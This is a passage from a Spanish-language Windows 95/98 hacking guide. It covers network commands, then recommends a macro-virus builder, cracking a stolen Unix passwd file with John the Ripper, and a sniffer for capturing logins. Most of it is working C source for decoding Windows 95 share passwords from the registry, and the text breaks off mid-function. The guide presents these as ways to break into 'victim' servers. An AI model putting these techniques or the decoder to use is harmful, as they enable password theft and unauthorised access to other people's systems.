  saber por cuantos servidores pasa. Muy util para sacar posibles servidores
  victimas si nos llaman la atencion.
  Para usar esta utilidad, abrimos una ventana MS-DOS y escribimos Tracert,
  a secas y nos sacara el menu de opciones disponible.
  c:\>tracert
  Usage:tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
  Options:
       -d                 Do not resolve addresses to hostnames.
       -h maximum_hops    Maximum number of hops to search for target.
       -j host-list       Loose source route along host-list.
       -w timeout         Wait timeout milliseconds for each reply.
  Pues como veis, no tiene ningun misterio las opciones del Tracert, por
  lo que ya aprendereis su uso con la experiencia. Ahora escribimos una
  direccion IP cuando invocamos al Tracert, de la siguente forma:
  c:\>tracert 198.83.210.28
  Tracing route to dns-aol.ans.net [198.83.210.28]
  over a maximum of 30 hops:
  1   *        *        *     Request timed out.
  2 138 ms  145 ms  135 ms 204.134.78.201
  3 212 ms  191 ms  181 ms glory-cyberport.nm.westnet.net [204.134.78.33]
  4 166 ms  228 ms  189 ms enss365.nm.org [129.121.1.3]
  5 148 ms  138 ms  177 ms h4-0.cnss116.Albuquerque.t3.ans.net [192.103.74.45]
  6 284 ms  296 ms  178 ms f2.t112-0.Albuquerque.t3.ans.net [140.222.112.221]
  7 298 ms  279 ms  277 ms h14.t64-0.Houston.t3.ans.net [140.223.65.9]
  8 238 ms  234 ms  263 ms h14.t104-0.Atlanta.t3.ans.net [140.223.65.18]
  9 301 ms  257 ms  250 ms dns-aol.ans.net [198.83.210.28]
  Trace complete.
  
  Aqui podeis por todos lo sitios que ha pasado el paquete que hemos enviado
  al IP 198.83.210.28. Y asi podemos con todos los servidores de Internet.
   4-10. Winipcfg.
  Ejecutando este comando, nos saldra una ventana windows informandonos de
  los diferentes valores de nuestra red. Realmente util para verificar la
  configuracion.
   4-11. Ipconfig.
  Este programa es similar al anterior descrito pero funciona en modo MS-DOS.
  Al igual nos sirve para verificar la configuracion de nuestra red. Por
  ejemplo, lo ejecutamos asi:
  C:\WINDOWS>ipconfig
  Windows 98 IP Configuration
  0 Ethernet adapter :
          IP Address. . . . . . . . . : 0.0.0.0
          Subnet Mask . . . . . . . . : 0.0.0.0
          Default Gateway . . . . . . :
  Decir que en el ordenador donde estoy escribiendo este articulo, no lo
  tengo en estos momentos en red, por eso no lo tengo configurado. Para pedir
  las diferentes opciones, ejecutamos:
  C:\WINDOWS>ipconfig -h
  Windows 98 IP Configuration
  Command line options:
  /All - Display detailed information.
  /Batch [file] - Write to file or ./WINIPCFG.OUT
  /renew_all    - Renew   all adapters.
  /release_all  - Release all adapters.
  /renew   N    - Renew   adapter N.
  /release N    - Release adapter N.
  No veo la necesidad de traducir esto debido a que es realmente facil, en
  caso de no entender nada, aprende ingles :) Pero la que mas nos puede
  interesar es la opcion /All.
   4-12. Arp.
  Ejecutamos este comando para que nos muestre o para modificar nuestra IP
  en nuestra red, mantenida por un servidor Windows NT. Por ejemplo:
  C:\WINDOWS>arp
  Displays and modifies the IP-to-Physical address translation tables used by
  address resolution protocol (ARP).
  ARP -s inet_addr eth_addr [if_addr]
  ARP -d inet_addr [if_addr]
  ARP -a [inet_addr] [-N if_addr]
    -a          Displays current ARP entries by interrogating the current
                protocol data.  If inet_addr is specified, the IP and Physical
                addresses for only the specified computer are displayed.  If
                more than one network interface uses ARP, entries for each ARP
                table are displayed.
    -g          Same as -a.
    inet_addr   Specifies an internet address.
    -N if_addr  Displays the ARP entries for the network interface specified
                by if_addr.
    -d          Deletes the host specified by inet_addr.
    -s          Adds the host and associates the Internet address inet_addr
                with the Physical address eth_addr.  The Physical address is
                given as 6 hexadecimal bytes separated by hyphens. The entry
                is permanent.
    eth_addr    Specifies a physical address.
    if_addr     If present, this specifies the Internet address of the
                interface whose address translation table should be modified.
                If not present, the first applicable interface will be used.
  Example:
    > arp -s 157.55.85.212   00-aa-00-62-c6-09  .... Adds a static entry.
    > arp -a                                    .... Displays the arp table.
  Y como viene siendo habitual, os remito a aprender ingles y a jugar con las
  distintos parametros que tiene este comando.
   4-13. Route.
  Este comando nos permitira manejar la tabla local TCP/IP. Al igual que los
  demas comandos dispone de varios parametros, los cuales son los siguientes:
  C:\WINDOWS>route
  Manipulates network routing tables.
  ROUTE [-f] [command [destination] [MASK netmask] [gateway] [METRIC metric]]
    -f           Clears the routing tables of all gateway entries.  If this is
                 used in conjunction with one of the commands, the tables are
                 cleared prior to running the command.
    command      Must be one of four:
                   PRINT     Prints   a  route
                   ADD       Adds     a  route
                   DELETE    Deletes  a  route
                   CHANGE    Modifies an existing route
    destination  Specifies the destination host.
    MASK         Specifies that the next parameter is the 'netmask' value.
    netmask      Specifies a subnet mask value to be associated
                 with this route entry. If not specified, it defaults to
                 255.255.255.255.
    gateway      Specifies gateway.
    METRIC       Specifies that the next paramenter 'metric' is the
                 cost for this destination
  All symbolic names used for destination are looked up in the network
  database file NETWORKS. The symbolic names for gateway are looked up in the
  host name database file HOSTS.
  If the command is PRINT or DELETE, wildcards may be used for the destination
  and gateway, or the gateway argument may be omitted.
  Diagnostic Notes:
      Invalid MASK generates an error, that is when (DEST & MASK) != DEST.
      Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1
               The route addition failed: 87
  Examples:
      > route PRINT
      > route   ADD 157.0.0.0     MASK 255.0.0.0   157.55.80.1 METRIC  3
                    ^destination       ^mask       ^gateway            ^metric
      > route PRINT
      > route DELETE 157.0.0.0
      > route PRINT
  Creo que queda bastante claro, incluso provee distintos ejemplos para
  familiarizarnos con este comando.
   4-14. Netstat.
  Este comando nos puede ser muy util para saber que conexiones tenemos
  activas en el momento de ejecutar este comando, para conexiones TCP/IP, lo
  ejecutamos asi, solo que en mi caso no saldra ya que no estoy conectado en
  este momento:
  C:\WINDOWS>netstat
  Active Connections
    Proto  Local Address          Foreign Address        State
  Como veis no sale nada, pero si lo ejecutais cuando esteis conectados, ya
  vereis :) Como siempre este comando dispone de varios parametros, que son
  los siguientes:
  C:\WINDOWS>netstat /?
  Displays protocol statistics and current TCP/IP network connections.
  NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
    -a          Displays all connections and listening ports.
    -e          Displays Ethernet statistics. This may be combined with the -s
                option.
    -n          Displays addresses and port numbers in numerical form.
    -p proto    Shows connections for the protocol specified by proto; proto
                may be TCP or UDP.  If used with the -s option to display
                per-protocol statistics, proto may be TCP, UDP, or IP.
    -r          Displays the routing table.
    -s          Displays per-protocol statistics.  By default, statistics are
                shown for TCP, UDP and IP; the -p option may be used to
                specify a subset of the default.
    interval    Redisplays selected statistics, pausing interval seconds
                between each display.  Press CTRL+C to stop redisplaying
                statistics.  If omitted, netstat will print the current
                configuration information once.
  Ya solo nos queda jugar con los distintos parametros y aprender :)
  5. Utilizacion De Tools.
  En esta seccion os explicare diferentes tools que podeis usar para hacking,
  por supuesto hay que buscarlas por Internet, no pondre el url para
  encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe,
  pero os dire como se llama el programa asi lo podras buscar ademas esto
  tambien te servira para que te espabiles y sepas buscar cosas por Internet.
  Logicamente esta guia es para win95/98 y los programas que explicare seran
  para win95/98 pero tambien me veo obligado a explicar varias tools que no
  son de win95/98 propiamente sino de MS-DOS pero que son necesarias y ademas
  corren en modo MS-DOS de win95/98.
   5-1. Skamwerks lab version 1.1b
  Este programa es un util herramienta que nos ayuda a crear de forma rapida
  virus macro, o sea para el Word. Tiene que estar instalado el Word para
  que este programa nos funcione.
  Al ejecutar el programa nos aparecera una ventana con 2 botones los caules
  son las 2 opciones que podemos escoger "Virii Wizard" o "Advanced Users".
  El "virii Wizard" es la opcion, si no sabemos muy bien como crear un virus
  de macro ya que nos moveremos por varios menus y crearemos un virus de
  forma rapida y facilmente. La otra opcion, "Advanced Users" es para
  aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya
  que podemos meter codigo Word basic directamente y asi crear un virus a
  nuestro gusto.
  Como este no es un curso sobre virus, no me voy a enrollar sobre la
  utilizacion exacta del programa. En mi opinion es un buen programa,
  en ingles :) programado en C++.
   5-2. WaReZ! Version 95.12.31
  Este programa es un cliente FTP que muestra los directorios ocultos en un
  servidor, util si nos metemos en algun sitio sospechoso. Como ya es
  costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL
  correctamente.
  Al igual que antes tampoco hay que explicar mucho sobre este programa ya
  que su Interface es igual que el cliente WS_FTP que suele ser muy familiar
  para todos, por lo que no encontraremos mucha dificultad en su manejo.
   5-3. John the ripper v1.4.
  Esta magnifica tool no es propiamente de win95/98 pero seria un pecado no
  hablar de ella, cuando corre sobre win95/98 de maravilla (bueno, dentro de
  lo que cabe :). John, como se le conoce, sirve para crackear un fichero
  unix de password (el conocido etc/passwd, como ya digo aprended algo de
  unix).
  Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer
  es usar el John para sacar cuentas, pero no solo basta esto sino tambien
  necesitamos un buen diccionario y una combinacion de suerte y paciencia.
  Supongamos que ya tenemos todo (fichero passwd, John y un diccionario),
  entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo
  llamamos sin nigun parametro nos saldran un listado de opciones, esto seria
  asi:
  c:\>john
  Usage: john [flags] [passwd files]
  Flags:-pwfile:<file>[,..]     specify passwd file(s)
        -wordfile:<file> -stdin wordlist mode, read words from <file> or stdin
        -rules                  enable rules for wordlist mode
        -incremental[:<mode>]   incremental mode [using john.ini entry <mode>]
        -single                 single crack mode
        -external:<mode>        external mode, using john.ini entry <mode>
        -restore[:<file>]       restore session [from <file>]
        -makechars:<file>       make a charset, <file> will be overwritten
        -show                   show cracked passwords
        -test                   perform a benchmark
        -users:<login|uid>[,..] crack this (these) user(s) only
        -shells:[!]<shell>[,..] crack users with this (these) shell(s) only
        -salts:[!]<count>      crack salts with at least <count> accounts only
        -lamesalts              assume plaintext passwords were used as salts
        -timeout:<time>         abort session after a period of <time> minutes
        -list                   list each word
        -beep -quiet            beep or don't beep when a password is found
        -noname -nohash        don't use memory for login names or hash tables
        -des -md5               force DES or MD5 mode
  Veis? :), y como siempre no explicare que es cada opcion os lo dejo para
  que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero,
  para ello escogermos la opcion "single", ya que el john no nos pedira
  un fichero de diccionario, si fuese el caso que no tenemos, ponemos:
  c:\>john -single passwd
  Y el John se pondra a trabajar, cuando halla acabo creara un fichero
  llamado "John.pot" donde se almacenaran los passwords encriptados con
  su correspodiente passwords desencriptado (esta definicion no es del
  todo correcta pero es para que lo entendais) y ya tenemos unas cuentas
  de acceso al servidor.
  Este metodo va bien para la primera pasado con el John pero luego conviene
  usar un diccionario y con el diccionario seria de la siguiente manera:
  c:\>john -wordfile:spain.txt passwd
  El John seguiria el mismo proceso antes descrito, por supuesto si el
  fichero "John.pot" esta creado ya, les aadira los resultados obtenidos
  a este fichero, por cierto este fichero tiene atributo de solo lectura.
  Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis
  a manejar correctamente. Referente a los diccionarios hay varias
  herramientas que corren bajo MS-DOS que crean diccionarios o tambien
  podeis buscar por Internet ya que hay varios web's llenos de diccionarios.
  Decir que la ultima version del John The Ripper es la 1.5.
   5-4. Gobbler v 2.1.
  Volvemos a la carga con otro programa que no es del win95/98 propiamente,
  pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un
  Sniffer para aquellos que no sepan, es un programa que captura los paquetes 
  que pasan por una red y asi se pueden conseguir logins, passowrds u otro
  tipo de informacion que querramos, logicamente si los paquetes estan
  encriptados, esto dificultara el proceso, ya que habra que desencriptarlos
  si se puede.
                                                             
  Como siempre abrimos una ventana y ejecutamos el programa de la siguiente
  manera:
  c:\>gobbler
  Y se activara el programa y veremos una serie de ventanas, en este punto,
  pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que
  configurar el programa para nuestra red, la verdad es que es muy sencillo
  de utilizar, con un poco de practica dominaremos este sniffer facilmente.
  Como sugerencia conviene leer el fichero de documentacion que trae, ya
  que explica como configurar el programa.
   5-5. Sharepasswd.
  Este programa desencripta el passorwd de win95/98. Esta en lenguaje C, como
  supongo todo el mundo tiene que tener un compilador en C y si no ya estas
  buscando uno, que hay muchos y gratis por Internet. No veo la necesidad
  de explicaros el programa ya que tambien incluyo la explicacion del
  autor la cual esta muy bien, logicamente.
------------ Codigo Fuente ---------------------------------------------------
/* This program takes an 'encrypted' Windows 95 share password and decrypts it
 * Look at:
 * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
 * to find a machine's shares.  Within the data for each share are two
 * registry entries, Parm1enc and Parm2enc.  Parm1enc is the "Full access"
 * password.  Parm2enc is the "Read only" password.
 *
 * David Ross  2/9/96
 * snakey@cs.umd.edu
 *
 * Do not distribute this program for any commercial purpose without first
 * contacting me for permission.
 *
 * DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!
 *
 * A technical description of the 'code' can be found later on in this
 * document. 
 *
 * Oh yeah...  a totally unsolicited self promotion here...  If anyone has
 * a job for a junior year Computer Science student for summer '96, please
 * let me know!  I'm familiar with Windows and Mac networking (especially 
 * involving TCP/IP), fluent in C and C++, and working on becoming a
 * proficient Windows programmer.
 *
 */
#include <stdio.h>
#include <string.h>
#define BUFFER 30
int DecodeCharOne(unsigned char *);
int DecodeCharTwo(unsigned char *);
int DecodeCharThree(unsigned char *);
int DecodeCharFour(unsigned char *);
int DecodeCharFive(unsigned char *);
int DecodeCharSix(unsigned char *);
int DecodeCharSeven(unsigned char *);
int DecodeCharEight(unsigned char *);
main() {
  int i;           /* Generic counter */
  int eocc = 0;    /* Records if there has been an error */
  /* The following structure stores the encoded bytes.  Decoded values
   * replace the encoded values as the decoding process moves along
   * The initial values show here are not used and are unimportant
   */
  unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };
  unsigned short tempshort;   /* Used as a go-between from sscanf() to
				 mybytes[] so unaligned data accesses
				 don't occur */
  int goupto = 0;  /* Records how many characters there are to be decoded */
  
  /* The following code handles input */
  char inpt[BUFFER];
  char *inptptr;
  
  printf("Input the byte code in hex (ex: 76 d5 09 e3): ");
  fgets(inpt, BUFFER, stdin);
  
  inptptr = strtok(inpt, " ");
  if (inpt[0] != '\n')
    while ((inptptr != NULL) && (goupto < 8)) {
      sscanf(inptptr, "%hx", &tempshort);
      mybytes[goupto++] = tempshort;
      inptptr = strtok(NULL, " ");
    }
  
  /* Decode all the characters.  I could have made this stop immediately
   * after an error has been found, but it really doesn't matter
   */
  if (!DecodeCharOne(&mybytes[0])) eocc = 1;
  if (!DecodeCharTwo(&mybytes[1])) eocc = 1;
  if (!DecodeCharThree(&mybytes[2])) eocc = 1;
  if (!DecodeCharFour(&mybytes[3])) eocc = 1;
  if (!DecodeCharFive(&mybytes[4])) eocc = 1;
  if (!DecodeCharSix(&mybytes[5])) eocc = 1;
  if (!DecodeCharSeven(&mybytes[6])) eocc = 1;
  if (!DecodeCharEight(&mybytes[7])) eocc = 1;
  /* If the password could be decoded, print it */
  if (eocc) printf("The encrypted password is invalid.\n");
  else {
    printf("The decoded password is: \"");
    for (i = 0; i < goupto; i++) printf("%c",mybytes[i]);
    printf("\"\n");
  }
}  /* End of main() */
/*
 * I will document this function, but not the seven other functions
 * which decode the subsequent seven characters.  All of these functions
 * are essentially the same.  Multiple functions are necessary though
 * because each column of the password has a different set of encoding
 * patterns.
 *
 * The following section will attempt to explain the encoding scheme
 * for share passwords as stored in the Windows 95 registry.  I will
 * try to explain this as clearly as I can, however I really have no
 * background in encryption.  If you have any questions, please feel
 * free to send them to me at snakey@cs.umd.edu.
 *
 * First off, share passwords can be anywhere from one character to
 * eight.  "Read only" passwords and "Full access" passwords both use
 * the same encoding scheme, and so they both can be decoded by this
 * program.  There is a one-to-one relationship between the number of
 * characters in a password and the number of bytes in the encoded
 * password stored in the registry.  In fact, each encoded byte directly
 * corresponds to the letter in the corresponding column of the
 * unencoded password!  Ie: If I change a password "passwd" to "masswd",
 * only the first byte of the encrypted password will change.  Knowing
 * this, it is easy to see that all that needs to be done to decode
 * the password is to find a mapping from an encoded byte to a decoded
 * letter.  That's what this program does.  Unfortunately, things get
 * a little tricky because a letter in the first column of a password
 * is encoded using a slightly different algorithm than a letter
 * in the second column, and so on.
 *
 * There is another complexity which we do not really need to worry
 * about to a great extent, but we still need to be aware of.  Many
 * characters, when entered into a password, map to the same encoded
 * byte.  The best example of this is that both 'A' and 'a' are the
 * same as far as share passwords are concerned.  There are numerous
 * other examples of this, and this allows us to effectively limit the
 * range of characters we need to be able to decode.  The range of
 * ASCII values we will have to be able to decode turns out to be
 * from 32 to 159.  ASCII values higher than 159 tend to map to
 * encoded bytes which also represent more normal ASCII values.  So
 * if a user manages to create a password with high ASCII values
 * in it, that password will still be decoded by this program.
 * Although the decoded password won't look the same as the original,
 * it will work just as well.
 *
 * With all of the preliminaries out of the way, I can now move on
 * to describing the mapping from an encoded byte to it's corresponding
 * ASCII value.  I think the best way to describe this would be through
 * a picture of exactly how the characters from 32 to 63 are mapped
 * out in the code for the first letter in a password.  This table goes
 * beyond the 80 column format maintained in the rest of this document,
 * but it is really the best solution.  If the table below doesn't look
 * right, load this file up in a text editor that supports greater than
 * 80 columns.
 *
 *   Encoded byte (hex)    - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10
                              0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
 *   ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37
                              58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53
 *   Pair #                - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_|
                              |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|
 *   Quad #                - |__________2__________| |__________1__________|
                              |__________3__________| |__________4__________|
 *   32 byte block #       - |______________________________________________
                              1______________________________________________|
 *
 * The "Pair #", "Quad #", and "32 byte block #" rows each are there to
 * make the general ordering of the code more visible.  The first thing to
 * note is that the range of encoded byte values runs from 00 to 1f.  This
 * will not always be the case for the first set of 32 characters.  In
 * fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in
 * the range of 20 to 3f in encoded form.  I never concerned myself with
 * predicting exactly where each of the four 32 byte ranges are aligned
 * within the range of 0 to 256.  In my decoding scheme, I simply specify
 * the location of the first character in a 32 byte block (which I have
 * pre-determined via experimentation) and determine the locations of the
 * rest of the characters in the block relative to the inital value.  This
 * amounts to a total of four hand-decoded characters for the entire code.
 *
 * From a starting point which is given (in this case the fact that ASCII
 * 32 is encoded as 0x15), my decoding scheme follows a pattern that is
 * probably already apparent to you if you have examined the above table
 * closely.  First, if the encoded byte number is odd, it simple subtracts
 * one from this byte number to get the byte number of the encoded form of
 * the subsequent character.  This is much more simple than it sounds.
 * As an example, given that the code for ASCII 32 is 0x15, the program
 * knows that the code for ASCII 33 must be 0x14.  The tricky part is that
 * this is not always true for every code.  Recall that there is a different
 * coding scheme for each of the 8 columns in a password, and that the above
 * table only describes the coding scheme for the first column.  Other columns
 * reverse this relationship between the two ASCII values of a certain pair.
 *
 * Pairs are grouped into units of four, appearing in a predefined pattern.
 * In this case, the first pair (by first I mean the pair with the lowest
 * set of ASCII values) is put in the second slot of a quad (which contains
 * four pairs).  The second pair is put in the first slot, the third is put
 * in the fourth quad, and the fourth is put in the third quad.  This changes
 * depending on the specific code used (of the 8 possible).
 *
 * Quads also fill a block in the same manner, however the ordering is NOT
 * necessarily the same as the way pairs fit into quads!  As I described
 * above, there are four blocks, and they fit into the entire range of
 * 128 values just as pairs fit into quads and quads fit into blocks,
 * via a pattern determined by whoever invented this encoding scheme.  It
 * is important to realize that the range of 128 possible encoded
 * values can be anywhere within the range of 0 to 256.  Ie: One block can
 * be positioned from 0x00 to 0x1f, while another block in the same code
 * can be positioned from 0xa0 to 0xbf.
 *
 * I realize that the above description is a bit complex, and it doesn't
 * really cover much of _how_ my program decodes the the encoded values.
 * If you honestly can't understand a word I've said, just go back to
 * the table and really take a long look at it.  Print it out, put it
 * under your pillow when you go to sleep.  Sooner or later the order
 * of it all will dawn on you and you should be able to step through
 * my code and see how it derives its answer, at least for the
 * DecodeCharOne() routine.  Seven other tables (which I have rough
 * copies of here on notebook paper) were needed to come up with
 * the seven other decoders for the seven other character places.
 *
 */
int DecodeCharOne(unsigned char *mychar) {
  int i = 0;        /* Keeps track of the decoded character # minus 32 */
  int cletter = 1;  /* Sets the current letter of the 8 char quad */
  int blockl1 = 1;  /* Sets the current quad */
  int blockl2 = 1;  /* Sets the current 32 char block */
  int retval = 1;
  /* We are on this col of the table: */
  unsigned char code = 0x15;    /* The code for a space */
  
  /* This is the main loop.  It walks through each decoded character, finds
   * its corresponding encoded value, and looks to see if that's the same as
   * the encoded value we are looking for.  If it is, we have found our
   * decoded character!
   */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code--;
      cletter++;
      break;
    case 2:
      code += 3;
      cletter++;
      break;
    case 3:
      code--;
      cletter++;
      break;
    case 4:
      code -= 5;
      cletter++;
      break;
    case 5:
      code--;
      cletter++;
      break;
    case 6:
      code+=3;
      cletter++;
      break;
    case 7:
      code--;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {    /* After we hit character number 8, we have */
      case 1:               /* to do a relative jump to the next quad */
	code += 11;
	blockl1++;
	break;
      case 2:
	code -= 21;
	blockl1++;
	break;
      case 3:
	code += 11;
	blockl1++;
	break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {       /* After we hit the last quad, we have to */
	case 1:                  /* jump to the next 32 character block. */
	  code = 0x75;
	  blockl2++;
	  break;
	case 2:
	  code = 0x55;
	  blockl2++;
	  break;
	case 3:
	  code = 0xb5;
	  blockl2++;
	  break;
	case 4:
	  code = 0x15;
	  blockl2 = 1;
	  break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}  /* End of DecodeCharOne() */
int DecodeCharTwo(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0xba;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code++;
      cletter++;
      break;
    case 2:
      code -= 3;
      cletter++;
      break;
    case 3:
      code++;
      cletter++;
      break;
    case 4:
      code += 5;
      cletter++;
      break;
    case 5:
      code++;
      cletter++;
      break;
    case 6:
      code -= 3;
      cletter++;
      break;
    case 7:
      code++;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
      	code -= 11;
	blockl1++;
	break;
      case 2:
	code -= 11;
	blockl1++;
	break;
      case 3:
	code -= 11;
	blockl1++;
	break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
	  code = 0xda;
	  blockl2++;
	  break;
	case 2:
	  code = 0xfa;
	  blockl2++;
	  break;
	case 3:
	  code = 0x1a;
	  blockl2++;
	  break;
	case 4:
	  code = 0xba;
	  blockl2 = 1;
	  break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}  /* End of DecodeCharTwo() */
int DecodeCharThree(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x6d;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code--;
      cletter++;
      break;
    case 2:
      code += 3;
      cletter++;
      break;
    case 3:
      code--;
      cletter++;
      break;
    case 4:
      code -= 5;
      cletter++;
      break;
    case 5:
      code--;
      cletter++;
      break;
    case 6:
      code += 3;
      cletter++;
      break;
    case 7:
      code--;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
        code -= 5;
        blockl1++;
	break;
      case 2:
        code += 27;
        blockl1++;
        break;
      case 3:
        code -= 5;
        blockl1++;
        break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
	  code = 0x0d;
	  blockl2++;
	  break;
	case 2:
          code = 0x2d;
          blockl2++;
          break;
	case 3:
          code = 0xcd;
          blockl2++;
          break;
	case 4:
	  code = 0x6d;
	  blockl2 = 1;
          break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}  /* End of DecodeCharThree() */
int DecodeCharFour(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x86;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code++;
      cletter++;
      break;
    case 2:
      code -= 3;
      cletter++;
      break;
    case 3:
      code++;
      cletter++;
      break;
    case 4:
      code -= 3;
      cletter++;
      break;
    case 5:
      code++;
      cletter++;
      break;
    case 6:
      code -= 3;
      cletter++;
      break;
    case 7:
      code++;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
        code += 13;
        blockl1++;
	break;
      case 2:
        code += 13;
        blockl1++;
        break;
      case 3:
        code += 13;
        blockl1++;
        break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
          code = 0xe6;
          blockl2++;
	  break;
	case 2:
          code = 0xc6;
          blockl2++;
          break;
	case 3:
          code = 0x26;
          blockl2++;
          break;
	case 4:
	  code = 0x86;
          blockl2 = 1;
          break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}   /* End of DecodeCharFour() */
int DecodeCharFive(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x73;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code--;
      cletter++;
      break;
    case 2:
      code--;
      cletter++;
      break;
    case 3:
      code--;
      cletter++;
      break;
    case 4:
      code += 7;
      cletter++;
      break;
    case 5:
      code--;
      cletter++;
      break;
    case 6:
      code--;
      cletter++;
      break;
    case 7:
      code--;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
        code += 7;
	blockl1++;
	break;
      case 2:
        code -= 25;
        blockl1++;
        break;
      case 3:
        code += 7;
	blockl1++;
        break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
          code = 0x13;
          blockl2++;
	  break;
	case 2:
          code = 0x33;
          blockl2++;
          break;
	case 3:
          code = 0x23;
          blockl2++;
	  break;
	case 4:
	  code = 0x73;
          blockl2 = 1;
          break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}    /* End of DecodeCharFive() */
int DecodeCharSix(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x89;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code--;
      cletter++;
      break;
    case 2:
      code += 3;
      cletter++;
      break;
    case 3:
      code--;
      cletter++;
      break;
    case 4:
      code += 3;
      cletter++;
      break;
    case 5:
      code--;
      cletter++;
      break;
    case 6:
      code += 3;
      cletter++;
      break;
    case 7:
      code--;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
        code -= 13;
	blockl1++;
	break;
      case 2:
	code += 19;
        blockl1++;
	break;
      case 3:
        code -= 13;
	blockl1++;
	break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
          code = 0xe9;
	  blockl2++;
	  break;
	case 2:
          code = 0xc9;
	  blockl2++;
	  break;
	case 3:
          code = 0x29;
	  blockl2++;
	  break;
	case 4:
	  code = 0x89;
          blockl2 = 1;
          break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}     /* End of DecodeCharSix() */
int DecodeCharSeven(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0xf4;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
    switch (cletter) {
    case 1:
      code++;
      cletter++;
      break;
    case 2:
      code++;
      cletter++;
      break;
    case 3:
      code++;
      cletter++;
      break;
    case 4:
      code -= 7;
      cletter++;
      break;
    case 5:
      code++;
      cletter++;
      break;
    case 6:
      code++;
      cletter++;
      break;
    case 7:
      code++;
      cletter++;
      break;
    case 8:
      cletter = 1;
      switch (blockl1) {
      case 1:
        code += 9;
	blockl1++;
	break;
      case 2:
	code -= 23;
        blockl1++;
	break;
      case 3:
        code += 9;
	blockl1++;
	break;
      case 4:
	blockl1 = 1;
	switch (blockl2) {
	case 1:
          code = 0x94;
	  blockl2++;
	  break;
	case 2:
          code = 0xb4;
	  blockl2++;
	  break;
	case 3:
          code = 0x54;
	  blockl2++;
	  break;
	case 4:
	  code = 0xf4;
          blockl2 = 1;
          break;
	}
	break;
      }
      break;
    }
    i++;
  }
  if (i == 256) retval = 0;
  else *mychar = i + 32;
  return retval;
}   /* End of DecodeCharSeven() */
int DecodeCharEight(unsigned char *mychar) {
  int i = 0;
  int cletter = 1;
  int blockl1 = 1;
  int blockl2 = 1;
  int retval = 1;
  unsigned char code = 0x4a;    /* The code for a space */
  while((i<256) && (code != *mychar)) {
     switch (cletter) {
     case 1:
       code++;
       cletter++;
       break;
     case 2:
       code -= 3;
       cletter++;
       break;
     case 3:
       code++;
       cletter++;
       break;
     case 4:
       code += 5;
       cletter++;
       break;
     case 5:
       code++;
